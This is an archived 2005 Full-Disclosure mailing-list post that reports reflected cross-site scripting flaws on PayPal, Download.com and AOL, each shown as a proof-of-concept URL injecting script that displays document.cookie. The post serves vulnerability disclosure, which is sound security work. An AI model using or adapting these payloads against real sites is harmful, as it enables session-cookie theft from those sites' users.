full-disclosure - Big Sites That Are Vulnerable To XSS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu Apr 21 05:19:43 2005
From: tuytumadre at att.net (tuytumadre@....net)
Subject: Big Sites That Are Vulnerable To XSS

The following have been previously reposibly disclosed, and, because of the lack of action taken on the venders' parts, full disclosure is necessary to elliminate the threat of what's called "security by obscurity."

paypal.com
http://www.paypal.com/cgi-bin/webscr?cmd=p/gen/accounts-outside--><script>alert(document.cookie)</script><!--

download.com
http://www.download.com/2001-20_4-0.html?tag=tabasdf"--><script>alert(document.cookie)</script><!--

aol.com*
https://my.screenname.aol.com/snsHomePage.psp?hpClickedOn=null&sitedomain=my.screenname.aol.com";}%20{%20alert(document.cookie);%20//&authLev=2&siteState=&isSiteStateEncoded=false&lang=en&locale=us&mcAuth=%2FBcAG0Jd4zsAAK80AY99uEJd43cIgAwNtLp%2BJCQAAA%3D%3D

*on aol.com, the victim must be logged in to the website screenname service to be vulnerable.

Regards,
Paul
Greyhats Security
http://greyhatsecurity.org